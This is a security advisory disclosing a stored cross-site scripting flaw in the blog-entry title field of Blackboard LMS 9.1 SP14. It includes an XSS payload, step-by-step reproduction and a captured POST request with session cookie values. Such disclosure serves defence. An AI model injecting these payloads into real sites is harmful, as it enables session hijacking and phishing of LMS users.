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Blackboard LMS 9.1 SP14 Cross Site Scripting

Blackboard LMS 9.1 SP14 Cross Site Scripting
Posted Jan 12, 2017
Authored by Vulnerability Laboratory, Lawrence Amer | Site vulnerability-lab.com

Blackboard LMS version 9.1 SP14 suffers from a persistent cross site scripting vulnerability in the title functionality.

tags | exploit, xss
SHA-256 | ff7b4351e36544404e85f4a95edf3f62644b7c829366cc0c64afc9876cf8f674

Blackboard LMS 9.1 SP14 Cross Site Scripting

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Document Title:
BlackBoard LMS 9.1 SP14 - (Title) Persistent Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Bring your classrooms online with Blackboard's learning management system (LMS) offerings. With tools to engage,
collaborate, grade, track assignments and more, you can reach students to ensure they effectively interact with
the content and curriculum. Regardless of the environment, there are core components of online learning that
enrich the learning process.

(Copy of the Homepage: http://www.blackboard.com/learning-management-system/lms-software.aspx )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a stored cross site scripting vulnerability in the BlackBoard LMS 9.1 SP14 web-application.

Vulnerability Disclosure Timeline:
2017-01-10: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
BlackBoard Inc.
Product: Blackboard LMS - Content Management System 9.1 SP 14

Exploitation Technique:

Severity Level:

Technical Details & Description:
A persistent cross site scripting vulnerability has been discovered in the official BlackBoard LMS web-application.
The issue allows remote attackers to inject own malicious script codes to the application-side of the vulnerable module.

Remote attackers are able to inject malicious java script code into blackboard blog module `Groups -- Group Blogs`, users
with low privileged access are able to inject via blog entries name [blog post title] input. The vulnerability is located
in the title of the blog entries. The vulnerable parameter `title` becomes stored during the save procedure which results
in a persistent attack. The request method to inject the malicious script code is POST. We discovered during the tests
that any user (student) can create groups to share blog entries with others users and instructors(admins).

The security risk of the xss vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.6.
Exploitation of the client-side vulnerabilities requires no privileged web-application user account and only low user interaction.
Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent external
redirect to malicious sources and non-persistent manipulation of affected or connected web module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] ./webapps/blogs-journals/execute/editBlogEntry

Vulnerable Parameter(s):
[+] title

Proof of Concept (PoC):
The application-side web vulnerabilities can be exploited by remote attackers with low privileged application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce ...
1. User(studnet) goes to groups module > Group Blog .
2. Add new Blog Entry and fill the title field with persistent payload ['><img src=x onerror=prompt(vulnlab)>] and save it
3. All group users besides instructor(admin) is on XSS impact remotely
4. User(student) can use this direct link filled with correct blog entries and course id for remote exploitation
Note: https://www.coursesites.com/webapps/blogs-journals/execute/viewBlog?course_id=[COURSEID]&blog_id=[BLOGID]&type=blogs&group_id=[GROUPID]#entry[ENTRYID]
5. Successfully repoduce of the vulnerability!

--- PoC Session Logs [POST] ---
POST /webapps/blogs-journals/execute/editBlogEntry HTTP/1.1
Host: www.coursesites.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.coursesites.com/webapps/blogs-journals/execute/editBlogEntry?course_id=_431252_1&editBlogEntryAction=createBlogEntry&type=blogs&blog_id=_312829_1&group_id=_181115_1
Cookie: JSESSIONID=58EB3946445655C52261E889490C91B3; __utma=154552106.1787260759.1470597563.1470656643.1470739482.4;
COOKIE_CONSENT_ACCEPTED=true; NSC_106969_wjq_69.196.229.208.hspvq=ffffffff090d149145525d5f4f58455e445a4a42378b;
session_id=F79695995C5FFC248070A1866553BD4F; s_session_id=399624D4A37441544BECB62DDCA5D814;
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
Content-Length: 2614
Content-Disposition: form-data; name="blackboard.platform.security.NonceUtil.nonce"
Content-Disposition: form-data; name="isAddForm"
Content-Disposition: form-data; name="course_id"
Content-Disposition: form-data; name="blog_entry_id"
Content-Disposition: form-data; name="blog_id"
Content-Disposition: form-data; name="group_id"
Content-Disposition: form-data; name="owner_id"
Content-Disposition: form-data; name="type"
Content-Disposition: form-data; name="submitAction"
Content-Disposition: form-data; name="editBlogEntryAction"
Content-Disposition: form-data; name="title"


Credits & Authors:
Vulnerability Laboratory [Research Team] - Lawrence Amer - ( http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer )

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including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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